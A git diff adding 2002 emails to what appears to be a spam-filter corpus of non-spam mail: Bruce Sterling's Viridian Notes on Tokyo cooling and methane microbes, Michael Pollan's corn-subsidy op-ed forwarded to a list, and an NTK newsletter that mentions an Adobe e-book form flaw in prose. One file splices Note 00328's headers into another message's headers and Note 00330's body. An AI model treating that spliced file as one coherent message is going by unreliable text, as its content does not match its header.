suddenly the war just stops +within these bounds of Safetyspace. Rapine, looting, +sacking, smashing and burning are ruled out of existence +through computer awareness. The handiness of a technique +like that for life in the 21st century... well, it might +be a bit underestimated. + +And last, coming up with a bullet should the good times +return in all their carefree glory: UBITOPIA. This I +take to be ubicomp as an Urban Entertainment Destination. +You go there for fun just because there is cool, wacky +stuff embedded in the physical world, and it's behaving in +a way that brings joy and hilarity and good spirits, like +the funhouse mirror at a digital carnival. + + When and if Ubitopia really hits, it will mean that +humanity's basic relationship with our material goods has +been radically redefined. That is the apotheosis of +ubiquitous computation. Just: material goods, and the way +we deal with them, are different. Different in character, +different in quality. Not recognizable by 20th century +standards. + + So. I have no idea if the Homeland Security +department, or FEMA or DARPA or the NSF, are going to pony +up any money for any of these notions. That's not my +lookout. I'm a science fiction writer. And ladies and +gentlemen, with this material, I have struck platinum. +This stuff is really hot. This is a great, attractive, +contemporary idea that is really new, really different, +and really ominous. The implications are huge and they +spread across the board of society. I am going to be a +very busy guy with this material. If you want to help me, +send some email. + +Thanks a lot for your attention. + +O=c=O O=c=O O=c=O +IT'S HERE +IT'S THERE +IT'S EVERYWHERE +O=c=O O=c=O O=c=O + + diff --git a/bayes/spamham/easy_ham_2/00664.28f4cb9fad800d0c7175d3a67e6c6458 b/bayes/spamham/easy_ham_2/00664.28f4cb9fad800d0c7175d3a67e6c6458 new file mode 100644 index 0000000..7e122ce --- /dev/null +++ b/bayes/spamham/easy_ham_2/00664.28f4cb9fad800d0c7175d3a67e6c6458 @@ -0,0 +1,203 @@ +From bruces@yami.57thstreet.com Tue Aug 6 23:43:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E7763440A8 + for ; Tue, 6 Aug 2002 18:43:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 23:43:53 +0100 (IST) +Received: from yami.57thstreet.com ([66.100.224.110]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g76MiNk21740 for + ; Tue, 6 Aug 2002 23:44:24 +0100 +Received: (qmail 18139 invoked by uid 1045); 6 Aug 2002 22:40:55 -0000 +Date: 6 Aug 2002 22:40:55 -0000 +Message-Id: <20020806224055.18137.qmail@yami.57thstreet.com> +From: Bruce Sterling +To: yyyy@spamassassin.taint.org +Subject: Viridian Note 00326: Air-Conditioned Tokyo + +Key concepts: Tokyo, urban overheating, +climate change remediation + +Attention Conservation Notice: a weird, +hand-waving Nipponese mega-scheme. + +Links: +http://http://www.viridiandesign.org/products/furniture.htm +From: Laurence Aurbach +Subject: Viridian Furniture List + +The Viridian Furniture List is now online in the +"Recommended Products" section of the Viridian website. +David Bergman did a yeoman-like job assembling this list +and adding comments. He's also mirroring the list on his +own furniture site, Fire and Water. +http://cyberg.com/fw/ecofurn.htm + +Maybe you'll find a woven bamboo buffet or a biopolymer +mesh coffee table. == L.J. Aurbach + + +--------------------------------------------------- +Entries in the Global Civil Society Design Contest. + +From: Steven W. Schuldt +http://www.americanrobotz.com/images2/Soon_GlobalCivilSocietyLaptop.jpg + +From: Ben Davis +http://www.digitaleverything.com/GlobalComputer.htm + +From: Joerg F. Wittenberger +http://www.askemos.org/ +http://www.askemos.org:9080/RomePaper.pdf + +From: Scott Vandehey +http://spaceninja.com/viridian/notebook.html + +From: Bob Morris +http://viridianrepository.com/GlobalCivil/ + +From: Anonymous +http://home.freiepresse.de/befis/zx2000.html +http://apollo.spaceports.com/~bodo4all/zx/zx97.htm +http://www.vkb.co.il/ + +From: Jim Thompson +http://www.simputer.org +http://www.cnn.com/2002/TECH/ptech/07/05/india.simputer.reut/index.html + +From: Mike Rosing +http://www.eskimo.com/~eresrch/viridian + +From: Till Westermayer +http://www.westermayer.de/till/projekte/02gcsdl.htm + +From: Duncan Stewart +http://www.stewarts.org/viridian/GCS + +From: R. Charles Flickinger +http://homepage.mac.com/iHUG/GCS2000.html + +From:"Kevin Prichard" + +"I nominate Rop Gonggrijp's Secure Notebook, which was +shown recently at H2K2. (http://www.h2k2.net). + +http://www.nah6.com/ +http://www.nah6.com/nah6-h2k2_files/v3_document.html + +"The premise is both important and hilarious. The Secure +Notebook provides a Secure Windows XP installation. +Windows has a long history of being secure neither from +attack nor privacy incursion, so this is something. + +"Nothing gets in and nothing gets out, without it being +firewalled, filtered, proxied, and encrypted. How is this +done? A modified Debian Linux boots first, running custom +NAH6 crypto device drivers, and then boots XP within +vmware." + +Sincerely yours, +Kevin Prichard +kevin*indymedia.org + +This contest expires in nine days: August 15, 2002. +---------------------------------------------------- + +Source: Planet Ark + +http://www.planetark.org/dailynewsstory.cfm/newsid/17160/story.htm + +"Cooler Tokyo summers may be just a pipe dream away +by Elaine Lies + +JAPAN: August 5, 2002 + + "TOKYO == In what could be the ultimate in public works +projects, a Japanese panel of experts has proposed +relieving the misery of steamy Tokyo summers by cooling +the huge city with sea water and a labyrinth of +underground pipes. + + "Though summers are hard in any city, Tokyo's narrow +streets, hordes of people and clusters of massive +skyscrapers, largely unrelieved by greenery, produce a +special brand of discomfort. + + "And it gets worse every year. (((Oh yeah. You bet it +does.))) The number of nights when temperatures stay above +25 Celsius (77 Fahrenheit) in Tokyo has doubled over the +last 30 years, while average temperatures have shot up by +2.9 degrees C over the last century. Relief, however +distant, could be on the way. ((("Great news, weather +sufferers! We live in the high-tech capital of a G-7 +state!"))) + + "At the behest of the Construction Ministry, the panel +has drawn up a plan that would use a network of buried +pipes, and water pumped from the sea, to cool things down. +'In the very best conditions, certain areas could in +theory become as much as 2.6 degrees Celsius cooler,' said +Yujin Minobe, a ministry planner. + + "The huge air-conditioning systems currently used to +cool buildings get rid of the heat they take out of the +structure by venting it into the outside air, raising +temperatures still further and creating a 'heat island' +phenomenon in large cities. (((Soon whole *cities* will +do it and vent their heat straight into the rising seas! +Look out, Antarctica.))) + + "Under the plan, this heat would be transferred to +water in large underground tanks, and the water then +pumped through a six-km (3.7-mile) network of underground +pipes to a cooling plant on the Tokyo waterfront. + + "There the heat from this water would be transferred +to cooler sea water before the then-cooled water was +pumped back through the underground pipes. The sea water, +now warmed, would be released into the waters of Tokyo +Bay. + + "COSTLY PLAN. (((That's unsurprising.))) Minobe said +the plan would cover some 123 hectares (304 acres) in the +centre of Tokyo, including the Marunouchi business +district and the posh Ginza shopping area, and would +initially cost around 41 billion yen ($344 million). + + "'Savings on reduced energy usage would eventually +help pay for this,' he said. (((A real nest of ironies +here, folks.))) Officials quoted in the English-language +Japan Times said energy savings would total more than 1 +billion yen a year, meaning the system would pay for +itself in a bit over 30 years. + + "However, Minobe said many problems remained with the +plan, which has only been under discussion since April +last year. One of the most serious problems is whether +warmer water being returned to Tokyo Bay would damage the +fragile marine ecosystem, a point Minobe said still +required more study. (((Give it 30 years and there won't +be any ecosystem left to study.))) + + "He said the average temperature cut is likely to be +only around 0.4 degrees. 'I'm not even sure people would +be able to feel that difference,' he said. Any such plan, +however, would likely produce a gleam in the eyes of +Japan's huge construction industry, known for its +propensity for public works projects. Although several are +decried as wasteful, public works projects have long been +used by the government in attempts to stimulate the +economy. (((Nice use of the word "attempts."))) + + "Frankly, I think this plan is still really more of a +dream than anything else," Minobe said. + +O=c=O O=c=O O=c=O O=c=O +TOKYO STAYS COOL +AS DEADLY HEATWAVE BAKES +KOBE, OSAKA, KYOTO +O=c=O O=c=O O=c=O O=c=O + + diff --git a/bayes/spamham/easy_ham_2/00665.087e07e6a5f47598db0629c21e6e1a70 b/bayes/spamham/easy_ham_2/00665.087e07e6a5f47598db0629c21e6e1a70 new file mode 100644 index 0000000..d1a0c10 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00665.087e07e6a5f47598db0629c21e6e1a70 @@ -0,0 +1,186 @@ +From bruces@yami.57thstreet.com Mon Aug 12 11:02:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B059A4412F + for ; Mon, 12 Aug 2002 05:55:01 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:55:01 +0100 (IST) +Received: from yami.57thstreet.com ([66.100.224.110]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g7BHqeb09004 for + ; Sun, 11 Aug 2002 18:52:41 +0100 +Received: (qmail 23648 invoked by uid 1045); 11 Aug 2002 17:48:43 -0000 +Date: 11 Aug 2002 17:48:43 -0000 +Message-Id: <20020811174843.23647.qmail@yami.57thstreet.com> +From: Bruce Sterling +To: yyyy@spamassassin.taint.org +Subject: Viridian Note 00328: Fuel from CO2 + +Key concepts: Nakamichi Yamasaki, hydrocarbon +generation, carbon dioxide, industrial chemistry + +Attention Conservation Notice: Yet another +weird Nipponese scheme, about some miracle +gizmo that runs on pollution + +Links: + +Tornados in Britain? Maybe it really is the 51st State. +http://www.thesun.co.uk/article/0,,2-2002362050,00.html + +Newfangled suntan pill alleged to have peculiar side- +effects. +http://timesofindia.indiatimes.com/articleshow.asp?art_id=18672487 + +See all those really bright places? Well, that's +where the Greenhouse comes from. +http://www3.cosmiverse.com/news/earthobservatory/0802/images/land_ocean_ice_lights_080602_1bi +g.jpg + +The West Nile plague has reached Austin. +http://www.planetark.org/dailynewsstory.cfm/newsid/17239/story.htm + +--------------------------------------------------- +Entries in the Global Civil Society Design Contest. + +From: Steven W. Schuldt +http://www.americanrobotz.com/images2/Soon_GlobalCivilSocietyLaptop.jpg + +From: Ben Davis +http://www.digitaleverything.com/GlobalComputer.htm + +From: Joerg F. Wittenberger +http://www.askemos.org/ +http://www.askemos.org:9080/RomePaper.pdf + +From: Scott Vandehey +http://spaceninja.com/viridian/notebook.html + +From: Bob Morris +http://viridianrepository.com/GlobalCivil/ + +From: Anonymous +http://home.freiepresse.de/befis/zx2000.html +http://apollo.spaceports.com/~bodo4all/zx/zx97.htm +http://www.vkb.co.il/ + +From: Jim Thompson +http://www.simputer.org +http://www.cnn.com/2002/TECH/ptech/07/05/india.simputer.reut/index.html + +From: Mike Rosing +http://www.eskimo.com/~eresrch/viridian + +From: Till Westermayer +http://www.westermayer.de/till/projekte/02gcsdl.htm + +From: Duncan Stewart +http://www.stewarts.org/viridian/GCS + +From: R. Charles Flickinger +http://homepage.mac.com/iHUG/GCS2000.html + +From: Kevin Prichard +http://www.nah6.com/ +http://www.nah6.com/nah6-h2k2_files/v3_document.html + +From: Dave Phelan +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D49BD4413D + for ; Mon, 19 Aug 2002 05:50:47 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:50:47 +0100 (IST) +Received: from yami.57thstreet.com ([66.100.224.110]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g7I3JC623590 for + ; Sun, 18 Aug 2002 04:19:12 +0100 +Received: (qmail 65842 invoked by uid 1045); 18 Aug 2002 03:18:50 -0000 +Date: 18 Aug 2002 03:18:50 -0000 +Message-Id: <20020818031850.65841.qmail@yami.57thstreet.com> +From: Bruce Sterling +To: yyyy@spamassassin.taint.org +Subject: Viridian Note 00330: Ocean Bugs + +Key concepts: microbes, methane, +Black Sea, Big Mike the Viridian Bug + +Attention Conservation Notice: Continues +the Viridian obsession with ecologically +active micro-organisms. + +Links: + +GM to give away thousands of electric vehicles - USA +http://www.planetark.org/dailynewsstory.cfm/newsid/17318/story.htm + +Sinking Pacific states slam US over sea levels - FIJI +http://www.planetark.org/dailynewsstory.cfm/newsid/17316/story.htm + +Famished Australian emus invade drought-hit farms - +AUSTRALIA +http://www.planetark.org/dailynewsstory.cfm/newsid/17330/story.htm + +--------------------------------------------------- +Entries in the Global Civil Society Design Contest. + +From: Steven W. Schuldt +http://www.americanrobotz.com/images2/Soon_GlobalCivilSoci +etyLaptop.jpg + +From: Ben Davis +http://www.digitaleverything.com/GlobalComputer.htm + +From: Joerg F. Wittenberger +http://www.askemos.org/ +http://www.askemos.org:9080/RomePaper.pdf + +From: Scott Vandehey +http://spaceninja.com/viridian/notebook.html + +From: Bob Morris +http://viridianrepository.com/GlobalCivil/ + +From: Anonymous +http://home.freiepresse.de/befis/zx2000.html +http://apollo.spaceports.com/~bodo4all/zx/zx97.htm +http://www.vkb.co.il/ + +From: Jim Thompson +http://www.simputer.org +http://www.cnn.com/2002/TECH/ptech/07/05/india.simputer.reut/index.html + +From: Mike Rosing +http://www.eskimo.com/~eresrch/viridian + +From: Till Westermayer +http://www.westermayer.de/till/projekte/02gcsdl.htm + +From: Duncan Stewart +http://www.stewarts.org/viridian/GCS + +From: R. Charles Flickinger +http://homepage.mac.com/iHUG/GCS2000.html + +From: Kevin Prichard +http://www.nah6.com/ +http://www.nah6.com/nah6-h2k2_files/v3_document.html + +From: Dave Phelan +http://www.nv2.cc.va.us/home/alwhite2/flotsam1.htm + +From: John Romans +http://www.panicfire.net/cryptoviridian.htm + +From: "Allen Wong" +http://www.fieldsync.com/viridian/ + +From: "Joel Westerberg" + +"Here's my contest entry. Cheers." +http://www.unsafe.nu/bigmike/global.PDF + +From: "Chris McCormick" + +"Hi, I hope i'm not too late!" +http://mccormick.cx/viridian/ + +"Regards, Chris." +http://www.mccormick.cx +http://www.sciencegirlrecords.com + +From: "adrian cotter" + +"As usual I'm cutting the deadline close... But I've +honestly been thinking about this one for a good month. +If only I had one of these, my life would be better." +http://www.nonsensical.com/viridian/notebook/ + +From: "jg" +"Emperor Bruce, here it is." +http://solarpc.com/contest.htm + +From: Kevin Prichard +Subject: link to Kevin Prichard's own +global civ design entry +http://prichard.org/viridian_globcivsoc.html + +This contest has now expired. A winner will +be announced at the discretion of our judge. +---------------------------------------------------- + +Source: +http://www.planetark.org/dailynewsstory.cfm/newsid/17250/story.htm + +"Germans discover ancient life, offer climate hope" +by Philip Blenkinsop + +GERMANY: August 12, 2002 + +"BERLIN == German scientists have discovered micro- +organisms deep under the sea that may provide an insight +into some of the earth's first lifeforms and offer hope in +the fight against global warming, the Max Planck Society +said. + + "The marine biologists and geologists believe they +have shown life could have existed by processing methane +without the presence of oxygen. + + "Their findings could also prove useful in ridding the +earth of excess methane, one of the greenhouse gases many +scientists believe is responsible for global warming. + + "Traditional views of early life on earth centre on +plants which converted carbon dioxide to oxygen. + + "'These (plant lifeforms) date back to between three +and 3.5 billion years ago... We have found biomass (large +cluster of organisms) using methane that geologists show +could have existed around four billion years ago,' +Professor Antje Boetius, joint author of the study, told +Reuters. + +Link: +Yes, she exists. Dr. Antje does more than exist. She +gives some kinda publicity shot. Dang! +http://www.mpi-bremen.de/deutsch/biogeo/aboetius/aboetius.html +http://www.iu-bremen.de/directory/faculty/01063/ + + "The two-year research by the scientists from +Hamburg University, the Alfred Wegener Institute in +northern Bremerhaven and the Max Planck Society centred on +coral-forming micro-organisms in the Black Sea at depths +where no oxygen and no light is present. + + "The Black Sea contains the largest oxygen-free basin +in the world. + + "The lifeforms were able to process methane together +with sulphates within the water, producing carbonates, in +the form of coral, as waste. (((Black, oxygen-free +"coral". I wonder what that stuff looks like. Maybe you +could make jewelry out of it.))) + + "That they were able to do so without oxygen suggests +they may have been around before plant life. + + "'Perhaps micro-organisms like those found in the +Black Sea were the original inhabitants of the earth +during a long period of the earth's history,' said +Boetius. (((Yeah, they've just been sitting down there, +waiting to save our bacon.))) + + "She believes the findings could prove useful for +climate control. + + "Previously, scientists had thought that methane, +found in abundance in the sea and produced through +agriculture, could only be broken down with oxygen. + + "The German researchers believe the discovery of a +pool of organisms that process methane without oxygen +could lead to a way of cutting down potentially harmful +greenhouse gases without burning oxygen and producing +similarly damaging carbon dioxide. (((What do they +*smell* like?))) + + "'It could be a way of hindering climate +catastrophe,'" Boetius said. + +O=c=O O=c=O O=c=O +BY ALL MEANS +LET'S HINDER SOME +CATASTROPHE +O=c=O O=c=O O=c=O + diff --git a/bayes/spamham/easy_ham_2/00667.eafd31575b60bc580d8a2e8db46da6bc b/bayes/spamham/easy_ham_2/00667.eafd31575b60bc580d8a2e8db46da6bc new file mode 100644 index 0000000..636f8e6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00667.eafd31575b60bc580d8a2e8db46da6bc @@ -0,0 +1,185 @@ +From fork-admin@xent.com Fri Jul 19 16:02:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 80D0C440C8 + for ; Fri, 19 Jul 2002 11:02:15 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 16:02:15 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6JEqgJ06203 for ; + Fri, 19 Jul 2002 15:52:42 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id E5E3E2940EE; Fri, 19 Jul 2002 07:39:30 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from Boron.MeepZor.Com (i.meepzor.com [204.146.167.214]) by + xent.com (Postfix) with ESMTP id 3BF34294098 for ; + Fri, 19 Jul 2002 07:39:26 -0700 (PDT) +Received: from Golux.Com (dmz-firewall [206.199.198.4]) by + Boron.MeepZor.Com (8.11.6/8.11.6) with ESMTP id g6JEmNA24154; + Fri, 19 Jul 2002 10:48:23 -0400 +Message-Id: <3D382947.947559DF@Golux.Com> +Date: Fri, 19 Jul 2002 10:59:19 -0400 +From: Rodent of Unusual Size +Organization: The Apache Software Foundation +X-Mailer: Mozilla 4.79 [en] (WinNT; U) +X-Accept-Language: en +MIME-Version: 1.0 +To: Flatware or Road Kill? +Subject: When a Crop Becomes King +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org + +But I *like* corn.. + +-------- Original Message -------- +Subject: [interest] FWD: When a Crop Becomes King +Date: Fri, 19 Jul 2002 10:14:23 -0400 (EDT) +From: Donald Eastlake 3rd + + + + +July 19, 2002 +When a Crop Becomes King +By MICHAEL POLLAN + +CORNWALL BRIDGE, Conn. -- Here in southern New England the corn is +already waist high and growing so avidly you can almost hear the creak +of stalk and leaf as the plants stretch toward the sun. The ears of +sweet corn are just starting to show up on local farm stands, +inaugurating one of the ceremonies of an American summer. These days the +nation's nearly 80 million-acre field of corn rolls across the +countryside like a second great lawn, but this wholesome, all-American +image obscures a decidedly more dubious reality. + +Like the tulip, the apple and the potato, zea mays (the botanical name +for both sweet and feed corn) has evolved with humans over the past +10,000 years or so in the great dance of species we call domestication. +The plant gratifies human needs, in exchange for which humans expand the +plant's habitat, moving its genes all over the world and remaking the +land (clearing trees, plowing the ground, protecting it from its +enemies) so it might thrive. + +Corn, by making itself tasty and nutritious, got itself noticed by +Christopher Columbus, who helped expand its range from the New World to +Europe and beyond. Today corn is the world's most widely planted cereal +crop. But nowhere have humans done quite as much to advance the +interests of this plant as in North America, where zea mays has +insinuated itself into our landscape, our food system and our federal +budget. + +One need look no further than the $190 billion farm bill President Bush +signed last month to wonder whose interests are really being served +here. Under the 10-year program, taxpayers will pay farmers $4 billion a +year to grow ever more corn, this despite the fact that we struggle to +get rid of the surplus the plant already produces. The average bushel of +corn (56 pounds) sells for about $2 today; it costs farmers more than $3 +to grow it. But rather than design a program that would encourage +farmers to plant less corn which would have the benefit of lifting the +price farmers receive for it Congress has decided instead to subsidize +corn by the bushel, thereby insuring that zea mays dominion over its +125,000-square mile American habitat will go unchallenged. + +At first blush this subsidy might look like a handout for farmers, but +really it's a form of welfare for the plant itself -- and for all those +economic interests that profit from its overproduction: the processors, +factory farms, and the soft drink and snack makers that rely on cheap +corn. For zea mays has triumphed by making itself indispensable not to +farmers (whom it is swiftly and surely bankrupting) but to the Archer +Daniels Midlands, Tysons and Coca-Colas of the world. + +Our entire food supply has undergone a process of "cornification" in +recent years, without our even noticing it. That's because, unlike in +Mexico, where a corn-based diet has been the norm for centuries, in the +United States most of the corn we consume is invisible, having been +heavily processed or passed through food animals before it reaches us. +Most of the animals we eat (chickens, pigs and cows) today subsist on a +diet of corn, regardless of whether it is good for them. In the case of +beef cattle, which evolved to eat grass, a corn diet wreaks havoc on +their digestive system, making it necessary to feed them antibiotics to +stave off illness and infection. Even farm-raised salmon are being bred +to tolerate corn not a food their evolution has prepared them for. Why +feed fish corn? Because it's the cheapest thing you can feed any animal, +thanks to federal subsidies. But even with more than half of the 10 +billion bushels of corn produced annually being fed to animals, there is +plenty left over. So companies like A.D.M., Cargill and ConAgra have +figured ingenious new ways to dispose of it, turning it into everything +from ethanol to Vitamin C and biodegradable plastics. + +By far the best strategy for keeping zea mays in business has been the +development of high-fructose corn syrup, which has all but pushed sugar +aside. Since the 1980's, most soft drink manufacturers have switched +from sugar to corn sweeteners, as have most snack makers. Nearly 10 +percent of the calories Americans consume now come from corn sweeteners; +the figure is 20 percent for many children. Add to that all the +corn-based animal protein (corn-fed beef, chicken and pork) and the corn +qua corn (chips, muffins, sweet corn) and you have a plant that has +become one of nature's greatest success stories, by turning us (along +with several other equally unwitting species) into an expanding race of +corn eaters. + +So why begrudge corn its phenomenal success? Isn't this the way +domestication is supposed to work? + +The problem in corn's case is that we're sacrificing the health of both +our bodies and the environment by growing and eating so much of it. +Though we're only beginning to understand what our cornified food system +is doing to our health, there's cause for concern. It's probably no +coincidence that the wholesale switch to corn sweeteners in the 1980's +marks the beginning of the epidemic of obesity and Type 2 diabetes in +this country. Sweetness became so cheap that soft drink makers, rather +than lower their prices, super-sized their serving portions and +marketing budgets. Thousands of new sweetened snack foods hit the +market, and the amount of fructose in our diets soared. + +This would be bad enough for the American waistline, but there's also +preliminary research suggesting that high-fructose corn syrup is +metabolized differently than other sugars, making it potentially more +harmful. A recent study at the University of Minnesota found that a diet +high in fructose (as compared to glucose) elevates triglyceride levels +in men shortly after eating, a phenomenon that has been linked to an +increased risk of obesity and heart disease. Little is known about the +health effects of eating animals that have themselves eaten so much +corn, but in the case of cattle, researchers have found that corn-fed +beef is higher in saturated fats than grass-fed beef. + +We know a lot more about what 80 million acres of corn is doing to the +health of our environment: serious and lasting damage. Modern corn +hybrids are the greediest of plants, demanding more nitrogen fertilizer +than any other crop. Corn requires more pesticide than any other food +crop. Runoff from these chemicals finds its way into the groundwater +and, in the Midwestern corn belt, into the Mississippi River, which +carries it to the Gulf of Mexico, where it has already killed off marine +life in a 12,000 square mile area. + +To produce the chemicals we apply to our cornfields takes vast amounts +of oil and natural gas. (Nitrogen fertilizer is made from natural gas, +pesticides from oil.) America's corn crop might look like a sustainable, +solar-powered system for producing food, but it is actually a huge, +inefficient, polluting machine that guzzles fossil fuel -- a half a +gallon of it for every bushel. + +So it seems corn has indeed become king. We have given it more of our +land than any other plant, an area more than twice the size of New York +State. To keep it well fed and safe from predators we douse it with +chemicals that poison our water and deepen our dependence on foreign +oil. And then in order to dispose of all the corn this cracked system +has produced, we eat it as fast as we can in as many ways as we can +turning the fat of the land into, well, fat. One has to wonder whether +corn hasn't at last succeeded in domesticating us. +====== +Michael Pollan is the author, most recently, of "The Botany of Desire: A +Plant's-Eye View of the World." + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00668.0c194428812d424ce5d9b0a39615b041 b/bayes/spamham/easy_ham_2/00668.0c194428812d424ce5d9b0a39615b041 new file mode 100644 index 0000000..18b8a34 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00668.0c194428812d424ce5d9b0a39615b041 @@ -0,0 +1,351 @@ +From ntknow-return-263-jm-ntk=jmason.org@lists.ntk.net Fri Jul 19 15:17:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1D263440DC + for ; Fri, 19 Jul 2002 10:16:41 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 15:16:41 +0100 (IST) +Received: from prune.flirble.org (prune.flirble.org [195.40.6.30]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g6JEFRJ03590 for + ; Fri, 19 Jul 2002 15:15:27 +0100 +Received: (qmail 15952 invoked by uid 7789); 19 Jul 2002 13:50:58 -0000 +Mailing-List: contact ntknow-help@lists.ntk.net; run by ezmlm +Precedence: bulk +X-No-Archive: yes +Delivered-To: mailing list ntknow@lists.ntk.net +Delivered-To: moderator for ntknow@lists.ntk.net +Received: (qmail 15872 invoked from network); 19 Jul 2002 13:49:36 -0000 +Message-Id: <3.0.6.32.20020719145116.0097c930@pop.dial.pipex.com> +X-Sender: af06@pop.dial.pipex.com +X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) +Date: Fri, 19 Jul 2002 14:51:16 +0100 +To: NTK recipient list +From: Dave Green +Subject: NTK now, 2002-07-19 +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" + + + _ _ _____ _ __ <*the* weekly high-tech sarcastic update for the uk> +| \ | |_ _| |/ / _ __ __2002-07-19_ o join! mail an empty message to +| \| | | | | ' / | '_ \ / _ \ \ /\ / / o ntknow-subscribe@lists.ntk.net +| |\ | | | | . \ | | | | (_) \ v v / o website (+ archive) lives at: +|_| \_| |_| |_|\_\|_| |_|\___/ \_/\_/ o http://www.ntk.net/ + + + "Until we secure our cyber infrastructure, a few keystrokes and + an Internet connection is all one needs to disable the economy + and endanger lives..." + - Lamar Smith, US Senator + http://www.msnbc.com/news/780923.asp?cp1=1 + + > DISABLE ECONOMY + > You cannot do that here. + > EXAMINE CYBER INFRASTRUCTURE + > Access Denied. + > HIT ECONOMY WITH STICK + + + >> HARD NEWS << + life-long pursuits + + On July 17th, 2001, DMITRY SKLYAROV, coder for the Russian + software house ELCOMSOFT, was arrested while visiting the + US. His crime: writing code that exposed flaws in Adobe's + e-book security, in contravention of the USA's exciting new + DMCA. In the next year, thanks to widespread protests, Adobe + withdrew their call to prosecute the Russian hacker and + Dmitry was freed. Elcomsoft is still in the dock for + breaching Adobe's copy restriction routines. If the aim of + the prosecution was to cow them into keeping quiet about + security problems, it doesn't appear to have worked. On July + 12th, 2002, ELCOMSOFT posted to Bugtraq a flaw in Adobe's + e-book security. Namely, that in Adobe's "lending library" + web app for the Adobe Content Server, you can borrow a book + for over twenty years (instead of three days) just by + changing a hidden Web form value. The library site is just a + demonstration app, so it's not a serious problem, but it + does give Elcomsoft room for a catty little addendum. "Some + time ago", they write "we have found much more serious + problem with another Adobe software and reported it to the + vendor; however, there was no response at all, and so we + decided not to waste our time reporting this one (about the + library) to Adobe". How much reaction do they want? + Salt sown in the soil of Moscow and the Volga canal aflame? + http://lists.insecure.org/bugtraq/2002/Jul/0133.html + - don't plan any trips to Disneyland, Vlad + http://librarydemo.adobe.com/library/ + - fixed, it looks, by stubbing out the code + http://lists.insecure.org/bugtraq/2002/Jul/0193.html +- now, for real chutzpah, post a Symantec exploit on the newly 0wn3d BugTraq + + We'll tread cautiously with this one, as it involves Vast + Ageless Corporations Who Have Retained Counsel Living Where + Their Glowing Eyesockets Used To Be. Just days before we + read on Slashdot that zombie company FORGENT is demanding + patent license fees for users of JPEG, we're contacted by + someone who has received a similiarly threatening letter - + this time, from the rather more established Lucent + Technologies. The message reads: "After some market research + it has come to our attention that some of your company's + products may employ the JBIG/JPEG Standard. Therefore, + Lucent Technologies GRL LLC, Lucent's licensing agent, is + contacting your company regarding your interest in obtaining + a license for patents." What follows is the usual demand for + fees, dire threats if compliance is thwarted, requests that + the guards seize the criminals and throw them in Patent + Dungeon, etc. Now, Lucent's patents don't seem to be + breached by a JPEG implementaton (although it's known that + JBIG is patent-encumbered; hence JBIG-2). So why does Lucent + bring up JPEG at all? A curious wording for sure, and we'd + be interested to see if anyone else has been contacted in + these terms. Mail us at tips@spesh.com if you have. + http://slashdot.org/article.pl?sid=02/07/18/157217 + - best use of porn collection in slashdot post modded funny +5 +http://www.ghostscript.com/pipermail/gs-devel/2002-February/001203.html + - JBIG encumbered, JBIG2 no + + Oh, is it time again already for Esquire's 50 Sharpest Men + 2002? Joy! Hidden among the usual suspects - which include + Richard Dawkins ("scientist"), Kevin Warwick ("scientist"), + Kevin Eldon ("comedian" - and KING OF HOBBIES), is one + Charlie Brooker (listed here as a "TV Go Home"). Merely + appearing in the list seems to have prompted the reclusive, + unsmiling, and often violent comedian to hurredly post a + TVGoHome update from his pile of cardboard boxes near Soho, + which is all to the good. But does he really deserve the title? + What *is* sharpness? "In case your are [sic] in any doubt", + the site explains, "sharpness is, above all, an attitude". Now + the dictionary says it's also "having a bitter taste", and + "harshness of manner", and given that Hank, the Angry + Drunken Dwarf is both unlisted and dead, we think Brooker's + a show-in for the Web protest/mess-with-publisher's-heads + vote. We urge you to vote now, express the will of the + people, and win some vile perfume or a horrible watch. + http://www.esquire.co.uk/esquire50.htm + - warning: torturous and unnecessarilly prolonged web form + http://www.thebee.com/bweb/iinfo106.htm +- Hank: another exciting Net meme you missed because you go out too much + + + >> ANTI-NEWS << + berating the obvious + + when oh when will the public tire of PUERILE GOOGLE 